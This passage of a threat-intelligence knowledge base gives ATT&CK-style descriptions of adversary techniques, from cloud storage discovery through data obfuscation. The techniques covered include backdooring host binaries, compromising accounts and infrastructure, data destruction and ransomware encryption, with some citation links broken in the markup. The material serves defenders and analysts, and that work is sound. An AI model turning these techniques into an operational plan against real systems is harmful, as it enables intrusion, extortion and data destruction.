Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://app.tidalcyber.com/technique/1492c4ba-c933-47b8-953d-6de3db8cfce8) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://app.tidalcyber.com/technique/fd346e4e-b22f-4cae-bc24-946d7b14b5e1)) adversaries may access the contents/objects stored in cloud infrastructure.

Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS ^{[[ListObjectsV2](https://app.tidalcyber.com/references/727c2077-f922-4314-908a-356c42564181)]} and List Blobs in Azure^{[[List Blobs](https://app.tidalcyber.com/references/f9aa697a-83dd-4bae-bc11-006be51ce477)]} .

The tag is: *misp-galaxy:technique="Cloud Storage Object Discovery"*

Command and Scripting Interpreter

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://app.tidalcyber.com/technique/3eafcd8b-0cb8-4d23-8785-3f80a3c897c7) while Windows installations include the [Windows Command Shell](https://app.tidalcyber.com/technique/be095bcc-4769-4010-b2db-3033d01efdbe) and [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde).

There are also cross-platform interpreters such as [Python](https://app.tidalcyber.com/technique/68fed1c9-e060-4c4d-83d9-d8c817893d65), as well as those commonly associated with client applications such as [JavaScript](https://app.tidalcyber.com/technique/8a669da8-8894-4fb0-9124-c3c8418985cc) and [Visual Basic](https://app.tidalcyber.com/technique/0340ed34-6db2-4979-bf73-2c16855867b4).

Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://app.tidalcyber.com/tactics/586a5b49-c566-4a57-beb4-e7c667f9c34c) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://app.tidalcyber.com/technique/30ef3f13-5e9b-4712-9adf-f0da4ef157a1) in order to achieve remote Execution.^{[[Powershell Remote Commands](https://app.tidalcyber.com/references/24c526e1-7199-45ca-99b4-75e75c7041cd)]}^{[[Cisco IOS Software Integrity Assurance - Command History](https://app.tidalcyber.com/references/dbca06dd-1184-4d52-9ee8-b059e368033c)]}^{[[Remote Shell Execution in Python](https://app.tidalcyber.com/references/4ea54256-42f9-4b35-8f9e-e595ab9be9ce)]}

The tag is: *misp-galaxy:technique="Command and Scripting Interpreter"*

Communication Through Removable Media

Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.^{[[ESET Sednit USBStealer 2014](https://app.tidalcyber.com/references/8673f7fc-5b23-432a-a2d8-700ece46bd0f)]} Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://app.tidalcyber.com/technique/6a7ab25e-49ed-4cd3-b199-5d80b728b416). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.

The tag is: *misp-galaxy:technique="Communication Through Removable Media"*

Compromise Accounts

Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://app.tidalcyber.com/technique/9a2d6628-0dd7-4f25-a242-b752fcf47ff4)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.

A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.^{[[AnonHBGary](https://app.tidalcyber.com/references/19ab02ea-883f-441c-bebf-4be64855374a)]}<sup>[[Microsoft DEV-0537](https://app.tidalcyber.com/references/2f7a59f3-

620d-4e2e-8595-af96cd4e16c3)]</sup> Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.

Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06) or [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533).

The tag is: *misp-galaxy:technique="Compromise Accounts"*

Compromise Host Software Binary

Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.

Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process]([Google Cloud Mandiant UNC3886 2024(https://app.tidalcyber.com/references/77b32efe-b936-5541-b0fb-aa442a7d11b7)]</sup>

An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)^{[[Unit42 Banking Trojans Hooking 2022](https://app.tidalcyber.com/references/411c3df4-08e6-518a-953d-19988b663dc4)]} prior to the binary's legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.^{[[ESET FontOnLake Analysis 2021](https://app.tidalcyber.com/references/dbcced87-91ee-514f-98c8-29a85d967384)]}

After modifying a binary, an adversary may attempt to [Impair Defenses](https://app.tidalcyber.com/technique/e3be3d76-0a36-4060-8003-3b39c557f728) by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).^{[[Google Cloud Mandiant UNC3886 2024](https://app.tidalcyber.com/references/77b32efe-b936-5541-b0fb-aa442a7d11b7)]}

The tag is: *misp-galaxy:technique="Compromise Host Software Binary"*

Compromise Infrastructure

Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-

party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.^{[[Mandiant APT1](https://app.tidalcyber.com/references/865eba93-cf6a-4e41-bc09-de9b0b3c2669)]}^{[[ICANNDomainNameHijacking](https://app.tidalcyber.com/references/96c5ec6c-d53d-49c3-bca1-0b6abe0080e6)]}^{[[Talos DNSpionage Nov 2018](https://app.tidalcyber.com/references/d597ad7d-f808-4289-b42a-79807248c2d6)]}^{[[FireEye EPS Awakens Part 2](https://app.tidalcyber.com/references/7fd58ef5-a0b7-40b6-8771-ca5e87740965)]} Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.

Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://app.tidalcyber.com/technique/4c0db4e5-14e0-4fb7-88b0-bb391ce5ad58)) to further blend in and support staged information gathering and/or [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533) campaigns.^{[[FireEye DNS Hijack 2019](https://app.tidalcyber.com/references/2c696e90-11eb-4196-9946-b5c4c11ccddc)]} Adversaries may also compromise numerous machines to support [Proxy](https://app.tidalcyber.com/technique/ba6a869a-c870-4be6-bc08-e078f0efdc3b) and/or proxyware services or to form a botnet.^{[[amnesty_nso_pegasus](https://app.tidalcyber.com/references/9e40d93a-fe91-504a-a6f2-e6546067ba53)]}^{[[Sysdig Proxyjacking](https://app.tidalcyber.com/references/26562be2-cab6-5867-9a43-d8a59c663596)]} Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain [Initial Access](https://app.tidalcyber.com/tactics/586a5b49-c566-4a57-beb4-e7c667f9c34c) via [Wi-Fi Networks]([Nearest Neighbor Volexity (https://app.tidalcyber.com/references/25b312ea-0d7a-5f05-9db1-14bbab909317)]</sup>

By using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.^{[[NSA NCSC Turla OilRig](https://app.tidalcyber.com/references/3e86a807-5188-4278-9a58-babd23b86410)]}

The tag is: *misp-galaxy:technique="Compromise Infrastructure"*

Container Administration Command

Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.^{[[Docker Daemon CLI](https://app.tidalcyber.com/references/ea86eae4-6ad4-4d79-9dd3-dd965a7feb5c)]}^{[[Kubernetes API](https://app.tidalcyber.com/references/5bdd1b82-9e5c-4db0-9764-240e37a1cc99)]}^{[[Kubernetes Kubelet](https://app.tidalcyber.com/references/57527fb9-d076-4ce1-afb5-e7bdb9c9d74c)]}

In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container.<sup>[[Docker Entrypoint](https://app.tidalcyber.com/

references/c80ad3fd-d7fc-4a7a-8565-da3feaa4a915)]</sup>^{[[Docker Exec](https://app.tidalcyber.com/references/5f1ace27-6584-4585-98de-52cb71d419c1)]} In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.^{[[Kubectl Exec Get Shell](https://app.tidalcyber.com/references/ffb9c0ca-533f-4911-8c0c-a2653410a76d)]}

The tag is: *misp-galaxy:technique="Container Administration Command"*

Container and Resource Discovery

Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.

These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.^{[[Docker API](https://app.tidalcyber.com/references/b8ec1e37-7286-40e8-9577-ff9c54801086)]}^{[[Kubernetes API](https://app.tidalcyber.com/references/5bdd1b82-9e5c-4db0-9764-240e37a1cc99)]} In Docker, logs may leak information about the environment, such as the environment's configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary's next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.

The tag is: *misp-galaxy:technique="Container and Resource Discovery"*

Content Injection

Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://app.tidalcyber.com/technique/f2661f07-9027-4d19-9028-d07b7511f3d5) followed by [Drive-by Compromise](https://app.tidalcyber.com/technique/d4e46fe1-cc6d-4ef0-af72-a4e8dcd71381)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://app.tidalcyber.com/technique/4499ce34-9871-4879-883c-19ddb940f242)) and other data to already compromised systems.^{[[ESET MoustachedBouncer](https://app.tidalcyber.com/references/6c85e925-d42b-590c-a424-14ebb49812bb)]}

Adversaries may inject content to victim systems in various ways, including:

- From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://app.tidalcyber.com/technique/d98dbf30-c454-42ff-a9f3-2cd3319cc0d9), which describes AiTM activity solely within an enterprise environment) <sup>[[Kaspersky Encyclopedia MiTM](https://app.tidalcyber.com/references/353a6eb9-54c5-5211-ad87-

abf5d941e503)]</sup>

- From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server ^{[[Kaspersky ManOnTheSide](https://app.tidalcyber.com/references/8ea545ac-cca6-5da5-8a93-6b07518fc9d4)]}

Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with "lawful interception."^{[[Kaspersky ManOnTheSide](https://app.tidalcyber.com/references/8ea545ac-cca6-5da5-8a93-6b07518fc9d4)]}^{[[ESET MoustachedBouncer](https://app.tidalcyber.com/references/6c85e925-d42b-590c-a424-14ebb49812bb)]}^{[[EFF China GitHub Attack](https://app.tidalcyber.com/references/b8405628-6366-5cc9-a9af-b97d5c9176dd)]}

The tag is: *misp-galaxy:technique="Content Injection"*

Create Account

Adversaries may create an account to maintain access to victim systems.^{[[Symantec WastedLocker June 2020](https://app.tidalcyber.com/references/061d8f74-a202-4089-acae-687e4f96933b)]} With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.

The tag is: *misp-galaxy:technique="Create Account"*

Create or Modify System Process

Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.^{[[TechNet Services](https://app.tidalcyber.com/references/b50a3c2e-e997-4af5-8be0-3a8b3a959827)]} On macOS, launchd processes known as [Launch Daemon](https://app.tidalcyber.com/technique/eff618a9-6498-4b01-bca1-cd5f3784fc27) and [Launch Agent](https://app.tidalcyber.com/technique/6dbe030c-5f87-4b45-9b6b-5bba2c0fad00) are run to finish system initialization and load user specific parameters.^{[[AppleDocs Launch Agent Daemons](https://app.tidalcyber.com/references/310d18f8-6f9a-48b7-af12-6b921209d1ab)]}

Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.

Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.<sup>[[OSX Malware Detection](https://app.tidalcyber.com/

references/0df0e28a-3c0b-4418-9f5a-77fffe37ac8a)]</sup>

The tag is: *misp-galaxy:technique="Create or Modify System Process"*

Credentials from Password Stores

Adversaries may search for common password storage locations to obtain user credentials.^{[[F-Secure The Dukes](https://app.tidalcyber.com/references/cc0dc623-ceb5-4ac6-bfbb-4f8514d45a27)]} Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.

The tag is: *misp-galaxy:technique="Credentials from Password Stores"*

Data Destruction

Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.^{[[Symantec Shamoon 2012](https://app.tidalcyber.com/references/ac634e99-d951-402b-bb1c-e575753dfda8)]}^{[[FireEye Shamoon Nov 2016](https://app.tidalcyber.com/references/44b2eb6b-4902-4ca0-80e5-7333d620e075)]}^{[[Palo Alto Shamoon Nov 2016](https://app.tidalcyber.com/references/15007a87-a281-41ae-b203-fdafe02a885f)]}^{[[Kaspersky StoneDrill 2017](https://app.tidalcyber.com/references/e2637cb3-c449-4609-af7b-ac78a900cc8b)]}^{[[Unit 42 Shamoon3 2018](https://app.tidalcyber.com/references/c2148166-faf4-4ab7-a37e-deae0c88c08d)]}^{[[Talos Olympic Destroyer 2018](https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)]} Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://app.tidalcyber.com/technique/761fa7fa-d7e1-4796-85b3-5cd37d55dffa) and [Disk Structure Wipe](https://app.tidalcyber.com/technique/14a944d3-ab95-40d8-b069-ccc4824ef46d) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.

Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.^{[[Kaspersky StoneDrill 2017](https://app.tidalcyber.com/references/e2637cb3-c449-4609-af7b-ac78a900cc8b)]}^{[[Unit 42 Shamoon3 2018](https://app.tidalcyber.com/references/c2148166-faf4-4ab7-a37e-deae0c88c08d)]} In some cases politically oriented image files have been used to overwrite data.^{[[FireEye Shamoon Nov 2016](https://app.tidalcyber.com/references/44b2eb6b-4902-4ca0-80e5-7333d620e075)]}^{[[Palo Alto Shamoon Nov 2016](https://app.tidalcyber.com/references/15007a87-a281-41ae-b203-fdafe02a885f)]}^{[[Kaspersky StoneDrill 2017](https://app.tidalcyber.com/references/e2637cb3-c449-4609-af7b-ac78a900cc8b)]}

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406), [OS Credential Dumping](https://app.tidalcyber.com/technique/368f85f9-2b15-4732-80fe-087694eaf34d), and [SMB/Windows Admin Shares]([Symantec Shamoon 2012(https://app.tidalcyber.com/references/ac634e99-d951-402b-bb1c-e575753dfda8)]</sup>^{[[FireEye Shamoon Nov 2016](https://app.tidalcyber.com/references/44b2eb6b-4902-4ca0-80e5-7333d620e075)]}^{[[Palo Alto Shamoon Nov 2016](https://app.tidalcyber.com/references/15007a87-a281-41ae-b203-fdafe02a885f)]}^{[[Kaspersky StoneDrill 2017](https://app.tidalcyber.com/references/e2637cb3-c449-4609-af7b-ac78a900cc8b)]}^{[[Talos Olympic Destroyer 2018](https://app.tidalcyber.com/references/25a2e179-7abd-4091-8af4-e9d2bf24ef11)]}.

In cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.^{[[Data Destruction - Threat Post](https://app.tidalcyber.com/references/97d16d3a-98a0-4a7d-9f74-8877c8088ddf)]}^{[[DOJ - Cisco Insider](https://app.tidalcyber.com/references/b8d9006d-7466-49cf-a70e-384edee530ce)]} Similarly, they may delete virtual machines from on-prem virtualized environments.

The tag is: *misp-galaxy:technique="Data Destruction"*

Data Encoding

Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.^{[[Wikipedia Binary-to-text Encoding](https://app.tidalcyber.com/references/9b3820e8-f094-4e87-9ed6-ab0207d509fb)]} ^{[[Wikipedia Character Encoding](https://app.tidalcyber.com/references/3e7df20f-5d11-4102-851f-04e89c25d12f)]} Some data encoding systems may also result in data compression, such as gzip.

The tag is: *misp-galaxy:technique="Data Encoding"*

Data Encrypted for Impact

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.^{[[US-CERT Ransomware 2016](https://app.tidalcyber.com/references/866484fa-836d-4c5b-bbad-3594ef60599c)]}^{[[FireEye WannaCry 2017](https://app.tidalcyber.com/references/34b15fe1-c550-4150-87bc-ac9662547247)]}<sup>[[US-CERT NotPetya 2017](https://app.tidalcyber.com/references/6a009850-834b-4178-9028-

2745921b6743)]</sup>^{[[US-CERT SamSam 2018](https://app.tidalcyber.com/references/b9d14fea-2330-4eed-892c-b4e05a35d273)]}

In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://app.tidalcyber.com/technique/cb2e4822-2529-4216-b5b8-75158c5f85ff) or [System Shutdown/Reboot](https://app.tidalcyber.com/technique/24787dca-6afd-4ab3-ab6c-32e9486ec418), in order to unlock and/or gain access to manipulate these files.^{[[CarbonBlack Conti July 2020](https://app.tidalcyber.com/references/3c3a6dc0-66f2-492e-8c9c-c0bcca73008e)]} In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.^{[[US-CERT NotPetya 2017](https://app.tidalcyber.com/references/6a009850-834b-4178-9028-2745921b6743)]} Adversaries may also encrypt virtual machines hosted on ESXi or other hypervisors.^{[[Crowdstrike Hypervisor Jackpotting Pt 2 2021](https://app.tidalcyber.com/references/db1ca1bf-2f48-5ff1-9fd3-52b86f3f0726)]}

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406), [OS Credential Dumping](https://app.tidalcyber.com/technique/368f85f9-2b15-4732-80fe-087694eaf34d), and [SMB/Windows Admin Shares]([FireEye WannaCry 2017(https://app.tidalcyber.com/references/34b15fe1-c550-4150-87bc-ac9662547247)]</sup>^{[[US-CERT NotPetya 2017](https://app.tidalcyber.com/references/6a009850-834b-4178-9028-2745921b6743)]} Encryption malware may also leverage [Internal Defacement](https://app.tidalcyber.com/technique/546a3318-0e03-4b22-95f5-c02ff69a4ebf), such as changing victim wallpapers or ESXi server login messages, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as "print bombing").^{[[NHS Digital Egregor Nov 2020](https://app.tidalcyber.com/references/92f74037-2a20-4667-820d-2ccc0e4dbd3d)]}^{[[Varonis](https://app.tidalcyber.com/references/2084fd09-f246-50f1-bfaa-5b3aa0b00779)]}

In cloud environments, storage objects within compromised accounts may also be encrypted.^{[[Rhino S3 Ransomware Part 1](https://app.tidalcyber.com/references/bb28711f-186d-4101-b153-6340ce826343)]} For example, in AWS environments, adversaries may leverage services such as AWS's Server-Side Encryption with Customer Provided Keys (SSE-C) to encrypt data.^{[[Halcyon AWS Ransomware 2025](https://app.tidalcyber.com/references/e72192d5-eed6-57f5-8dfc-49c57da04bd6)]}

The tag is: *misp-galaxy:technique="Data Encrypted for Impact"*

Data from Cloud Storage

Adversaries may access data from cloud storage.

Many IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce,

and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform.

In some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://app.tidalcyber.com/technique/af798e80-2cc5-5452-83e4-9560f08bf2d5). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://app.tidalcyber.com/technique/08a73f37-a04e-46be-9409-b330cbe291b4)).

Adversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.^{[[Amazon S3 Security, 2019](https://app.tidalcyber.com/references/4c434ca5-2544-45e0-82d9-71343d8aa960)]}^{[[Microsoft Azure Storage Security, 2019](https://app.tidalcyber.com/references/95bda448-bb13-4fa6-b663-e48a9d1b866f)]}^{[[Google Cloud Storage Best Practices, 2019](https://app.tidalcyber.com/references/752ad355-0f10-4c8d-bad8-42bf2fc75fa0)]} There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.

This open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.^{[[Trend Micro S3 Exposed PII, 2017](https://app.tidalcyber.com/references/1ba37b48-1219-4f87-af36-9bdd8d6265ca)]}^{[[Wired Magecart S3 Buckets, 2019](https://app.tidalcyber.com/references/47fb06ed-b4ce-454c-9bbe-21b28309f351)]}^{[[HIPAA Journal S3 Breach, 2017](https://app.tidalcyber.com/references/b0fbf593-4aeb-4167-814b-ed3d4479ded0)]}^{[[Rclone-mega-extortion_05_2021](https://app.tidalcyber.com/references/9b492a2f-1326-4733-9c0e-a9454bf7fabb)]}

Adversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.

The tag is: *misp-galaxy:technique="Data from Cloud Storage"*

Data from Configuration Repository

Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.

Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]}<sup>[[US-CERT TA17-156A SNMP Abuse

2017](https://app.tidalcyber.com/references/82b814f3-2853-48a9-93ff-701d16d97535)]</sup>

The tag is: *misp-galaxy:technique="Data from Configuration Repository"*

Data from Information Repositories

Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, such as Credential Access, Lateral Movement, or Defense Evasion, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization (i.e., [Transfer Data to Cloud Account](https://app.tidalcyber.com/technique/ab4f22d6-465f-4a16-8a40-693f2234c4ac)).

The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials (i.e., [Unsecured Credentials](https://app.tidalcyber.com/technique/02ed857b-ba39-4fab-b1d9-3ed2aa689dfd))
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources
- Contact or other sensitive information about business partners and customers, including personally identifiable information (PII)

Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include the following:

- Storage services such as IaaS databases, enterprise databases, and more specialized platforms such as customer relationship management (CRM) databases
- Collaboration platforms such as SharePoint, Confluence, and code repositories
- Messaging platforms such as Slack and Microsoft Teams

In some cases, information repositories have been improperly secured, typically by unintentionally allowing for overly-broad access by all users or even public access to unauthenticated users. This is particularly common with cloud-native or cloud-hosted services, such as AWS Relational Database Service (RDS), Redis, or ElasticSearch.^{[[Mitiga](https://app.tidalcyber.com/references/8c1d75b3-2ea9-5390-aefb-88f50730b2a0)]}^{[[TrendMicro Exposed Redis 2020](https://app.tidalcyber.com/references/58e61406-a8ca-52a8-be48-ef6066619a8a)]}^{[[Cybernews Reuters Leak 2022](https://app.tidalcyber.com/references/ca5ee9aa-6c9a-57dc-9cb4-0d976de1b5e5)]}

The tag is: *misp-galaxy:technique="Data from Information Repositories"*

Data from Local System

Adversaries may search local system sources, such as file systems, configuration files, local databases, or virtual machine files, to find files of interest and sensitive data prior to Exfiltration.

Adversaries may do this using a [Command and Scripting Interpreter](https://app.tidalcyber.com/technique/a2184d53-63b1-4c40-81ed-da799080c36c), such as [cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8) as well as a [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907), which have functionality to interact with the file system to gather information.^{[[show_run_config_cmd_cisco](https://app.tidalcyber.com/references/5a68a45a-a53e-5d73-a82a-0cc951071aef)]} Adversaries may also use [Automated Collection](https://app.tidalcyber.com/technique/107ad6c5-79b1-468c-9519-1578bee2ac49) on the local system.

The tag is: *misp-galaxy:technique="Data from Local System"*

Data from Network Shared Drive

Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8) may be used to gather information.

The tag is: *misp-galaxy:technique="Data from Network Shared Drive"*

Data from Removable Media

Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://app.tidalcyber.com/software/98d89476-63ec-4baf-b2b3-86c52170f5d8) may be used to gather information.

Some adversaries may also use [Automated Collection](https://app.tidalcyber.com/technique/107ad6c5-79b1-468c-9519-1578bee2ac49) on removable media.

The tag is: *misp-galaxy:technique="Data from Removable Media"*

Data Manipulation

Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.^{[[Sygnia Elephant Beetle Jan 2022](https://app.tidalcyber.com/references/932897a6-0fa4-5be3-bf0b-20d6ddad238e)]} By

manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:technique="Data Manipulation"*

Data Obfuscation

Adversaries may obfuscate command and control traffic to make it more difficult to detect.^{[[Bitdefender FunnyDream Campaign November 2020](https://app.tidalcyber.com/references/b62a9f2c-02ca-4dfa-95fc-5dc6ad9568de)]} Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.

The tag is: *misp-galaxy:technique="Data Obfuscation"*

Data Staged

